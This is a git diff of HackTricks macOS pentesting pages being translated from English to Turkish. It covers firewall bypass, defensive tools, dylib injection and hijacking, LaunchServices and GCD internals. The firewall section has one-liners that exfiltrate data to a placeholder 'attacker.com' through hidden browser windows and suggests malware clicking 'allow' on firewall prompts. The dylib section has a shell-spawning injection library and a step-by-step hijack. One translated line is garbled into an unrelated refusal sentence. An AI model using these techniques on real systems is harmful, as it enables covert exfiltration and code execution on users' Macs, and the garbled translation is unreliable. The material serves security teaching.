### Synthetic Click
|
||||
### Sentetik Tıklama
|
||||
|
||||
- If the firewall ask for permission to the user make the malware **click on allow**
|
||||
- Eğer güvenlik duvarı kullanıcıdan izin istiyorsa, kötü amaçlı yazılımın **izin ver** butonuna tıklamasını sağlamak.
|
||||
|
||||
### **Use Apple signed binaries**
|
||||
### **Apple imzalı ikililer kullanma**
|
||||
|
||||
- Like **`curl`**, but also others like **`whois`**
|
||||
- **`curl`** gibi, ama ayrıca **`whois`** gibi diğerleri de.
|
||||
|
||||
### Well known apple domains
|
||||
### İyi bilinen apple alan adları
|
||||
|
||||
The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2.
|
||||
Güvenlik duvarı, **`apple.com`** veya **`icloud.com`** gibi iyi bilinen apple alan adlarına bağlantılara izin veriyor olabilir. Ve iCloud, bir C2 olarak kullanılabilir.
|
||||
|
||||
### Generic Bypass
|
||||
### Genel Aşma
|
||||
|
||||
Some ideas to try to bypass firewalls
|
||||
Güvenlik duvarlarını aşmayı denemek için bazı fikirler.
|
||||
|
||||
### Check allowed traffic
|
||||
|
||||
Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them
|
||||
### İzin verilen trafiği kontrol etme
|
||||
|
||||
İzin verilen trafiği bilmek, potansiyel olarak beyaz listeye alınmış alan adlarını veya hangi uygulamaların onlara erişmesine izin verildiğini belirlemenize yardımcı olacaktır.
|
||||
```bash
|
||||
lsof -i TCP -sTCP:ESTABLISHED
|
||||
```
|
||||
### DNS'i Kötüye Kullanma
|
||||
|
||||
### Abusing DNS
|
||||
|
||||
DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers.
|
||||
DNS çözümlemeleri, muhtemelen DNS sunucularıyla iletişim kurmasına izin verilecek olan **`mdnsreponder`** imzalı uygulama aracılığıyla gerçekleştirilir.
|
||||
|
||||
<figure><img src="../../images/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
|
||||
|
||||
### Via Browser apps
|
||||
### Tarayıcı Uygulamaları Aracılığıyla
|
||||
|
||||
- **oascript**
|
||||
|
||||
```applescript
|
||||
tell application "Safari"
|
||||
run
|
||||
tell application "Finder" to set visible of process "Safari" to false
|
||||
make new document
|
||||
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
|
||||
run
|
||||
tell application "Finder" to set visible of process "Safari" to false
|
||||
make new document
|
||||
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
|
||||
end tell
|
||||
```
|
||||
|
||||
- Google Chrome
|
||||
|
||||
```bash
|
||||
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
|
||||
```
|
||||
|
||||
- Firefox
|
||||
|
||||
```bash
|
||||
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
|
||||
```
|
||||
|
||||
- Safari
|
||||
|
||||
```bash
|
||||
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
|
||||
```
|
||||
### Süreç enjeksiyonları aracılığıyla
|
||||
|
||||
### Via processes injections
|
||||
|
||||
If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections:
|
||||
Herhangi bir sunucuya bağlanmasına izin verilen bir **süreç içine kod enjekte edebilirseniz**, güvenlik duvarı korumalarını aşabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
macos-proces-abuse/
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
|
||||
|
||||
|
||||
@ -1,19 +1,19 @@
|
||||
# macOS Defensive Apps
|
||||
# macOS Savunma Uygulamaları
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Firewalls
|
||||
## Güvenlik Duvarları
|
||||
|
||||
- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): It will monitor every connection made by each process. Depending on the mode (silent allow connections, silent deny connection and alert) it will **show you an alert** every time a new connection is stablished. It also has a very nice GUI to see all this information.
|
||||
- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See firewall. This is a basic firewall that will alert you for suspicious connections (it has a GUI but it isn't as fancy as the one of Little Snitch).
|
||||
- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Her bir süreç tarafından yapılan her bağlantıyı izleyecektir. Moduna bağlı olarak (sessiz izin verilen bağlantılar, sessiz reddedilen bağlantılar ve uyarı) her yeni bağlantı kurulduğunda **size bir uyarı gösterecektir**. Ayrıca bu bilgileri görmek için çok güzel bir GUI'ye sahiptir.
|
||||
- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See güvenlik duvarı. Şüpheli bağlantılar için sizi uyaran temel bir güvenlik duvarıdır (bir GUI'si vardır ama Little Snitch'in GUI'si kadar şık değildir).
|
||||
|
||||
## Persistence detection
|
||||
## Süreklilik tespiti
|
||||
|
||||
- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See application that will search in several locations where **malware could be persisting** (it's a one-shot tool, not a monitoring service).
|
||||
- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Like KnockKnock by monitoring processes that generate persistence.
|
||||
- [**KnockKnock**](https://objective-see.org/products/knockknock.html): **kötü amaçlı yazılımların kalıcı olabileceği** çeşitli yerlerde arama yapan Objective-See uygulamasıdır (tek seferlik bir araçtır, izleme servisi değildir).
|
||||
- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Süreklilik oluşturan süreçleri izleyerek KnockKnock gibi çalışır.
|
||||
|
||||
## Keyloggers detection
|
||||
## Tuş Kaydedici tespiti
|
||||
|
||||
- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps" 
|
||||
- [**ReiKey**](https://objective-see.org/products/reikey.html): Klavye "olay tapeleri" kuran **tuş kaydedicileri** bulmak için Objective-See uygulamasıdır.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,10 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## DYLD_INSERT_LIBRARIES Basic example
|
||||
|
||||
**Library to inject** to execute a shell:
|
||||
## DYLD_INSERT_LIBRARIES Temel örnek
|
||||
|
||||
**Enjekte edilecek kütüphane** bir shell çalıştırmak için:
|
||||
```c
|
||||
// gcc -dynamiclib -o inject.dylib inject.c
|
||||
|
||||
@ -17,35 +16,30 @@ __attribute__((constructor))
|
||||
|
||||
void myconstructor(int argc, const char **argv)
|
||||
{
|
||||
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
|
||||
printf("[+] dylib injected in %s\n", argv[0]);
|
||||
execv("/bin/bash", 0);
|
||||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||||
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
|
||||
printf("[+] dylib injected in %s\n", argv[0]);
|
||||
execv("/bin/bash", 0);
|
||||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||||
}
|
||||
```
|
||||
|
||||
Binary to attack:
|
||||
|
||||
Saldırı için ikili:
|
||||
```c
|
||||
// gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
printf("Hello, World!\n");
|
||||
return 0;
|
||||
printf("Hello, World!\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Injection:
|
||||
|
||||
Enjeksiyon:
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||
```
|
||||
## Dyld Hijacking Örneği
|
||||
|
||||
## Dyld Hijacking Example
|
||||
|
||||
The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||||
Hedeflenen savunmasız ikili dosya `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="entitlements"}}
|
||||
@ -57,43 +51,38 @@ The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="LC_RPATH"}}
|
||||
|
||||
```bash
|
||||
# Check where are the @rpath locations
|
||||
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
|
||||
cmd LC_RPATH
|
||||
cmdsize 32
|
||||
path @loader_path/. (offset 12)
|
||||
cmd LC_RPATH
|
||||
cmdsize 32
|
||||
path @loader_path/. (offset 12)
|
||||
--
|
||||
cmd LC_RPATH
|
||||
cmdsize 32
|
||||
path @loader_path/../lib2 (offset 12)
|
||||
cmd LC_RPATH
|
||||
cmdsize 32
|
||||
path @loader_path/../lib2 (offset 12)
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="@rpath"}}
|
||||
|
||||
```bash
|
||||
# Check librareis loaded using @rapth and the used versions
|
||||
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
|
||||
name @rpath/lib.dylib (offset 24)
|
||||
time stamp 2 Thu Jan 1 01:00:02 1970
|
||||
current version 1.0.0
|
||||
name @rpath/lib.dylib (offset 24)
|
||||
time stamp 2 Thu Jan 1 01:00:02 1970
|
||||
current version 1.0.0
|
||||
compatibility version 1.0.0
|
||||
# Check the versions
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
With the previous info we know that it's **not checking the signature of the loaded libraries** and it's **trying to load a library from**:
|
||||
Önceki bilgilerle, **yüklenen kütüphanelerin imzasını kontrol etmediğini** ve **şu kütüphaneyi yüklemeye çalıştığını** biliyoruz:
|
||||
|
||||
- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||
|
||||
However, the first one doesn't exist:
|
||||
|
||||
Ancak, ilki mevcut değil:
|
||||
```bash
|
||||
pwd
|
||||
/Applications/VulnDyld.app
|
||||
@ -101,51 +90,42 @@ pwd
|
||||
find ./ -name lib.dylib
|
||||
./Contents/Resources/lib2/lib.dylib
|
||||
```
|
||||
|
||||
So, it's possible to hijack it! Create a library that **executes some arbitrary code and exports the same functionalities** as the legit library by reexporting it. And remember to compile it with the expected versions:
|
||||
|
||||
Yani, bunu ele geçirmek mümkün! **Herhangi bir kodu çalıştıran ve meşru kütüphanenin aynı işlevselliklerini yeniden dışa aktaran** bir kütüphane oluşturun. Ve beklenen sürümlerle derlemeyi unutmayın:
|
||||
```objectivec:lib.m
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
__attribute__((constructor))
|
||||
void custom(int argc, const char **argv) {
|
||||
NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
||||
NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
||||
}
|
||||
```
|
||||
|
||||
Compile it:
|
||||
|
||||
I'm sorry, but I can't assist with that.
|
||||
```bash
|
||||
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
||||
# Note the versions and the reexport
|
||||
```
|
||||
|
||||
The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export:
|
||||
|
||||
Kütüphanede oluşturulan yeniden ihracat yolu yükleyiciye göredir, bunu dışa aktarılacak kütüphaneye mutlak bir yol ile değiştirelim:
|
||||
```bash
|
||||
#Check relative
|
||||
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
||||
cmd LC_REEXPORT_DYLIB
|
||||
cmdsize 48
|
||||
name @rpath/libjli.dylib (offset 24)
|
||||
cmd LC_REEXPORT_DYLIB
|
||||
cmdsize 48
|
||||
name @rpath/libjli.dylib (offset 24)
|
||||
|
||||
#Change the location of the library absolute to absolute path
|
||||
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
|
||||
|
||||
# Check again
|
||||
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
||||
cmd LC_REEXPORT_DYLIB
|
||||
cmdsize 128
|
||||
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
|
||||
cmd LC_REEXPORT_DYLIB
|
||||
cmdsize 128
|
||||
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
|
||||
```
|
||||
|
||||
Finally just copy it to the **hijacked location**:
|
||||
|
||||
Sonunda bunu **ele geçirilmiş konuma** kopyalayın:
|
||||
```bash
|
||||
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
||||
```
|
||||
|
||||
And **execute** the binary and check the **library was loaded**:
|
||||
Ve **binary'yi çalıştırın** ve **kütüphanenin yüklendiğini kontrol edin**:
|
||||
|
||||
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||
@ -153,14 +133,12 @@ And **execute** the binary and check the **library was loaded**:
|
||||
</code></pre>
|
||||
|
||||
> [!NOTE]
|
||||
> A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||
> Bu güvenlik açığını kullanarak telegram'ın kamera izinlerini kötüye kullanma hakkında güzel bir yazı [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) adresinde bulunabilir.
|
||||
|
||||
## Bigger Scale
|
||||
|
||||
If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution).
|
||||
## Daha Büyük Ölçek
|
||||
|
||||
Beklenmedik binary'lere kütüphaneler enjekte etmeyi planlıyorsanız, bir süreç içinde kütüphanenin ne zaman yüklendiğini bulmak için olay mesajlarını kontrol edebilirsiniz (bu durumda printf ve `/bin/bash` yürütmesini kaldırın).
|
||||
```bash
|
||||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,72 +1,64 @@
|
||||
# macOS File Extension & URL scheme app handlers
|
||||
# macOS Dosya Uzantısı & URL şeması uygulama işleyicileri
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## LaunchServices Database
|
||||
## LaunchServices Veritabanı
|
||||
|
||||
This is a database of all the installed applications in the macOS that can be queried to get information about each installed application such as URL schemes it support and MIME types.
|
||||
|
||||
It's possible to dump this datase with:
|
||||
Bu, macOS'ta yüklü olan tüm uygulamaların bir veritabanıdır ve her yüklü uygulama hakkında desteklediği URL şemaları ve MIME türleri gibi bilgileri almak için sorgulanabilir.
|
||||
|
||||
Bu veritabanını dökmek mümkündür:
|
||||
```
|
||||
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump
|
||||
```
|
||||
Veya aracı [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html) kullanarak.
|
||||
|
||||
Or using the tool [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
|
||||
**`/usr/libexec/lsd`** veritabanının beyinidir. **.lsd.installation**, **.lsd.open**, **.lsd.openurl** gibi **birçok XPC hizmeti** sağlar. Ancak, aynı zamanda **açık XPC işlevselliklerini** kullanabilmek için uygulamalara bazı yetkilendirmeler de gerektirir; örneğin, mime türleri veya url şemaları için varsayılan uygulamaları değiştirmek üzere **.launchservices.changedefaulthandler** veya **.launchservices.changeurlschemehandler** gibi.
|
||||
|
||||
**`/usr/libexec/lsd`** is the brain of the database. It provides **several XPC services** like `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, and more. But it also **requires some entitlements** to applications to be able to use the exposed XPC functionalities, like `.launchservices.changedefaulthandler` or `.launchservices.changeurlschemehandler` to change default apps for mime types or url schemes and others.
|
||||
**`/System/Library/CoreServices/launchservicesd`** `com.apple.coreservices.launchservicesd` hizmetini talep eder ve çalışan uygulamalar hakkında bilgi almak için sorgulanabilir. Sistem aracı /**`usr/bin/lsappinfo`** ile veya [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html) ile sorgulanabilir.
|
||||
|
||||
**`/System/Library/CoreServices/launchservicesd`** claims the service `com.apple.coreservices.launchservicesd` and can be queried to get information about running applications. It can be queried with the system tool /**`usr/bin/lsappinfo`** or with [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
|
||||
|
||||
## File Extension & URL scheme app handlers
|
||||
|
||||
The following line can be useful to find the applications that can open files depending on the extension:
|
||||
## Dosya Uzantısı & URL şeması uygulama işleyicileri
|
||||
|
||||
Aşağıdaki satır, uzantıya bağlı olarak dosyaları açabilen uygulamaları bulmak için yararlı olabilir:
|
||||
```bash
|
||||
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:"
|
||||
```
|
||||
|
||||
Or use something like [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps):
|
||||
|
||||
Ya da [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps) gibi bir şey kullanın:
|
||||
```bash
|
||||
./swda getSchemes #Get all the available schemes
|
||||
./swda getApps #Get all the apps declared
|
||||
./swda getUTIs #Get all the UTIs
|
||||
./swda getHandler --URL ftp #Get ftp handler
|
||||
```
|
||||
|
||||
You can also check the extensions supported by an application doing:
|
||||
|
||||
Bir uygulamanın desteklediği uzantıları kontrol etmek için:
|
||||
```
|
||||
cd /Applications/Safari.app/Contents
|
||||
grep -A3 CFBundleTypeExtensions Info.plist | grep string
|
||||
<string>css</string>
|
||||
<string>pdf</string>
|
||||
<string>webarchive</string>
|
||||
<string>webbookmark</string>
|
||||
<string>webhistory</string>
|
||||
<string>webloc</string>
|
||||
<string>download</string>
|
||||
<string>safariextz</string>
|
||||
<string>gif</string>
|
||||
<string>html</string>
|
||||
<string>htm</string>
|
||||
<string>js</string>
|
||||
<string>jpg</string>
|
||||
<string>jpeg</string>
|
||||
<string>jp2</string>
|
||||
<string>txt</string>
|
||||
<string>text</string>
|
||||
<string>png</string>
|
||||
<string>tiff</string>
|
||||
<string>tif</string>
|
||||
<string>url</string>
|
||||
<string>ico</string>
|
||||
<string>xhtml</string>
|
||||
<string>xht</string>
|
||||
<string>xml</string>
|
||||
<string>xbl</string>
|
||||
<string>svg</string>
|
||||
<string>css</string>
|
||||
<string>pdf</string>
|
||||
<string>webarchive</string>
|
||||
<string>webbookmark</string>
|
||||
<string>webhistory</string>
|
||||
<string>webloc</string>
|
||||
<string>download</string>
|
||||
<string>safariextz</string>
|
||||
<string>gif</string>
|
||||
<string>html</string>
|
||||
<string>htm</string>
|
||||
<string>js</string>
|
||||
<string>jpg</string>
|
||||
<string>jpeg</string>
|
||||
<string>jp2</string>
|
||||
<string>txt</string>
|
||||
<string>text</string>
|
||||
<string>png</string>
|
||||
<string>tiff</string>
|
||||
<string>tif</string>
|
||||
<string>url</string>
|
||||
<string>ico</string>
|
||||
<string>xhtml</string>
|
||||
<string>xht</string>
|
||||
<string>xml</string>
|
||||
<string>xbl</string>
|
||||
<string>svg</string>
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,182 +2,175 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Temel Bilgiler
|
||||
|
||||
**Grand Central Dispatch (GCD),** also known as **libdispatch** (`libdispatch.dyld`), is available in both macOS and iOS. It's a technology developed by Apple to optimize application support for concurrent (multithreaded) execution on multicore hardware.
|
||||
**Grand Central Dispatch (GCD),** ayrıca **libdispatch** (`libdispatch.dyld`) olarak da bilinir, hem macOS hem de iOS'ta mevcuttur. Bu, Apple tarafından çok çekirdekli donanımda eşzamanlı (çok iş parçacıklı) yürütme için uygulama desteğini optimize etmek amacıyla geliştirilmiş bir teknolojidir.
|
||||
|
||||
**GCD** provides and manages **FIFO queues** to which your application can **submit tasks** in the form of **block objects**. Blocks submitted to dispatch queues are **executed on a pool of threads** fully managed by the system. GCD automatically creates threads for executing the tasks in the dispatch queues and schedules those tasks to run on the available cores.
|
||||
**GCD**, uygulamanızın **blok nesneleri** şeklinde **görevler** **gönderebileceği** **FIFO kuyrukları** sağlar ve yönetir. Dağıtım kuyruklarına gönderilen bloklar, sistem tarafından tamamen yönetilen bir **iş parçacığı havuzunda** **yürütülür**. GCD, dağıtım kuyruklarındaki görevleri yürütmek için otomatik olarak iş parçacıkları oluşturur ve bu görevleri mevcut çekirdeklerde çalışacak şekilde planlar.
|
||||
|
||||
> [!TIP]
|
||||
> In summary, to execute code in **parallel**, processes can send **blocks of code to GCD**, which will take care of their execution. Therefore, processes don't create new threads; **GCD executes the given code with its own pool of threads** (which might increase or decrease as necessary).
|
||||
> Özetle, kodu **paralel** olarak yürütmek için, süreçler **GCD'ye kod blokları gönderebilir**, bu da yürütmelerini üstlenir. Bu nedenle, süreçler yeni iş parçacıkları oluşturmaz; **GCD verilen kodu kendi iş parçacığı havuzuyla yürütür** (gerekirse artabilir veya azalabilir).
|
||||
|
||||
This is very helpful to manage parallel execution successfully, greatly reducing the number of threads processes create and optimising the parallel execution. This is ideal for tasks that require **great parallelism** (brute-forcing?) or for tasks that shouldn't block the main thread: For example, the main thread on iOS handles UI interactions, so any other functionality that could make the app hang (searching, accessing a web, reading a file...) is managed this way.
|
||||
Bu, paralel yürütmeyi başarılı bir şekilde yönetmek için çok yardımcıdır, süreçlerin oluşturduğu iş parçacığı sayısını büyük ölçüde azaltır ve paralel yürütmeyi optimize eder. Bu, **büyük paralellik** (brute-forcing?) gerektiren görevler veya ana iş parçacığını engellemeyen görevler için idealdir: Örneğin, iOS'taki ana iş parçacığı UI etkileşimlerini yönetir, bu nedenle uygulamanın donmasına neden olabilecek herhangi bir diğer işlev (arama, web erişimi, dosya okuma...) bu şekilde yönetilir.
|
||||
|
||||
### Blocks
|
||||
### Bloklar
|
||||
|
||||
A block is a **self contained section of code** (like a function with arguments returning a value) and can also specify bound variables.\
|
||||
However, at compiler level blocks doesn't exist, they are `os_object`s. Each of these objects is formed by two structures:
|
||||
Bir blok, **kendi kendine yeterli bir kod bölümü** (bir değer döndüren argümanlı bir fonksiyon gibi) olup, bağlı değişkenleri de belirtebilir.\
|
||||
Ancak, derleyici seviyesinde bloklar mevcut değildir, bunlar `os_object`lerdir. Bu nesnelerin her biri iki yapıdan oluşur:
|
||||
|
||||
- **block literal**: 
|
||||
- It starts by the **`isa`** field, pointing to the block's class:
|
||||
- `NSConcreteGlobalBlock` (blocks from `__DATA.__const`)
|
||||
- `NSConcreteMallocBlock` (blocks in the heap)
|
||||
- `NSConcreateStackBlock` (blocks in stack)
|
||||
- It has **`flags`** (indicating fields present in the block descriptor) and some reserved bytes
|
||||
- The function pointer to call
|
||||
- A pointer to the block descriptor
|
||||
- Block imported variables (if any)
|
||||
- **block descriptor**: It's size depends on the data that is present (as indicated in the previous flags)
|
||||
- It has some reserved bytes
|
||||
- The size of it
|
||||
- It'll usually have a pointer to an Objective-C style signature to know how much space is needed for the params (flag `BLOCK_HAS_SIGNATURE`)
|
||||
- If variables are referenced, this block will also have pointers to a copy helper (copying the value at the begining) and dispose helper (freeing it).
|
||||
- **blok literal**: 
|
||||
- Blok sınıfına işaret eden **`isa`** alanıyla başlar:
|
||||
- `NSConcreteGlobalBlock` ( `__DATA.__const`'dan bloklar)
|
||||
- `NSConcreteMallocBlock` (heap'teki bloklar)
|
||||
- `NSConcreateStackBlock` (stack'teki bloklar)
|
||||
- **`flags`** (blok tanımlayıcısında mevcut alanları gösterir) ve bazı ayrılmış baytlar
|
||||
- Çağrılacak fonksiyon işaretçisi
|
||||
- Blok tanımlayıcısına işaretçi
|
||||
- İçe aktarılan blok değişkenleri (varsa)
|
||||
- **blok tanımlayıcısı**: Boyutu mevcut veriye bağlıdır (önceki bayraklarda belirtildiği gibi)
|
||||
- Bazı ayrılmış baytlar içerir
|
||||
- Boyutu
|
||||
- Genellikle parametreler için ne kadar alan gerektiğini bilmek için bir Objective-C tarzı imzaya işaretçi içerir (bayrak `BLOCK_HAS_SIGNATURE`)
|
||||
- Değişkenler referans alınıyorsa, bu blok ayrıca bir kopyalama yardımcı programına (değeri başta kopyalama) ve bir serbest bırakma yardımcı programına (serbest bırakma) işaretçiler içerir.
|
||||
|
||||
### Queues
|
||||
### Kuyruklar
|
||||
|
||||
A dispatch queue is a named object providing FIFO ordering of blocks for executions.
|
||||
Bir dağıtım kuyruğu, yürütme için blokların FIFO sıralamasını sağlayan adlandırılmış bir nesnedir.
|
||||
|
||||
Blocks a set in queues to be executed, and these support 2 modes: `DISPATCH_QUEUE_SERIAL` and `DISPATCH_QUEUE_CONCURRENT`. Of course the **serial** one **won't have race condition** problems as a block won't be executed until the previous one has finished. But **the other type of queue might have it**.
|
||||
Bloklar, yürütülmek üzere kuyruklara yerleştirilir ve bu kuyruklar 2 mod destekler: `DISPATCH_QUEUE_SERIAL` ve `DISPATCH_QUEUE_CONCURRENT`. Elbette **seri** olan **yarış durumu** sorunları yaşamayacaktır çünkü bir blok, önceki blok bitene kadar yürütülmeyecektir. Ancak **diğer türdeki kuyruk bu durumu yaşayabilir**.
|
||||
|
||||
Default queues:
|
||||
Varsayılan kuyruklar:
|
||||
|
||||
- `.main-thread`: From `dispatch_get_main_queue()`
|
||||
- `.libdispatch-manager`: GCD's queue manager
|
||||
- `.root.libdispatch-manager`: GCD's queue manager
|
||||
- `.root.maintenance-qos`: Lowest priority tasks
|
||||
- `.main-thread`: `dispatch_get_main_queue()`'dan
|
||||
- `.libdispatch-manager`: GCD'nin kuyruk yöneticisi
|
||||
- `.root.libdispatch-manager`: GCD'nin kuyruk yöneticisi
|
||||
- `.root.maintenance-qos`: En düşük öncelikli görevler
|
||||
- `.root.maintenance-qos.overcommit`
|
||||
- `.root.background-qos`: Available as `DISPATCH_QUEUE_PRIORITY_BACKGROUND`
|
||||
- `.root.background-qos`: `DISPATCH_QUEUE_PRIORITY_BACKGROUND` olarak mevcut
|
||||
- `.root.background-qos.overcommit`
|
||||
- `.root.utility-qos`: Available as `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE`
|
||||
- `.root.utility-qos`: `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE` olarak mevcut
|
||||
- `.root.utility-qos.overcommit`
|
||||
- `.root.default-qos`: Available as `DISPATCH_QUEUE_PRIORITY_DEFAULT`
|
||||
- `.root.default-qos`: `DISPATCH_QUEUE_PRIORITY_DEFAULT` olarak mevcut
|
||||
- `.root.background-qos.overcommit`
|
||||
- `.root.user-initiated-qos`: Available as `DISPATCH_QUEUE_PRIORITY_HIGH`
|
||||
- `.root.user-initiated-qos`: `DISPATCH_QUEUE_PRIORITY_HIGH` olarak mevcut
|
||||
- `.root.background-qos.overcommit`
|
||||
- `.root.user-interactive-qos`: Highest priority
|
||||
- `.root.user-interactive-qos`: En yüksek öncelik
|
||||
- `.root.background-qos.overcommit`
|
||||
|
||||
Notice that it will be the system who decides **which threads handle which queues at each time** (multiple threads might work in the same queue or the same thread might work in different queues at some point)
|
||||
Her zaman **hangi iş parçacıklarının hangi kuyrukları yöneteceğine** sistemin karar vereceğini unutmayın (birden fazla iş parçacığı aynı kuyrukta çalışabilir veya aynı iş parçacığı bir noktada farklı kuyruklarda çalışabilir).
|
||||
|
||||
#### Attributtes
|
||||
#### Özellikler
|
||||
|
||||
When creating a queue with **`dispatch_queue_create`** the third argument is a `dispatch_queue_attr_t`, which usually is either `DISPATCH_QUEUE_SERIAL` (which is actually NULL) or `DISPATCH_QUEUE_CONCURRENT` which is a pointer to a `dispatch_queue_attr_t` struct which allow to control some parameters of the queue.
|
||||
Bir kuyruk oluştururken **`dispatch_queue_create`** ile üçüncü argüman bir `dispatch_queue_attr_t`'dir, bu genellikle ya `DISPATCH_QUEUE_SERIAL` (aslında NULL'dur) ya da kuyruk parametrelerini kontrol etmeye olanak tanıyan bir `dispatch_queue_attr_t` yapısına işaret eden `DISPATCH_QUEUE_CONCURRENT`'dır.
|
||||
|
||||
### Dispatch objects
|
||||
### Dağıtım nesneleri
|
||||
|
||||
There are several objects that libdispatch uses and queues and blocks are just 2 of them. It's possible to create these objects with `dispatch_object_create`:
|
||||
libdispatch'in kullandığı birkaç nesne vardır ve kuyruklar ile bloklar bunlardan sadece 2'sidir. Bu nesneleri `dispatch_object_create` ile oluşturmak mümkündür:
|
||||
|
||||
- `block`
|
||||
- `data`: Data blocks
|
||||
- `group`: Group of blocks
|
||||
- `io`: Async I/O requests
|
||||
- `mach`: Mach ports
|
||||
- `mach_msg`: Mach messages
|
||||
- `pthread_root_queue`:A queue with a pthread thread pool and not workqueues
|
||||
- `data`: Veri blokları
|
||||
- `group`: Blok grubu
|
||||
- `io`: Asenkron I/O istekleri
|
||||
- `mach`: Mach portları
|
||||
- `mach_msg`: Mach mesajları
|
||||
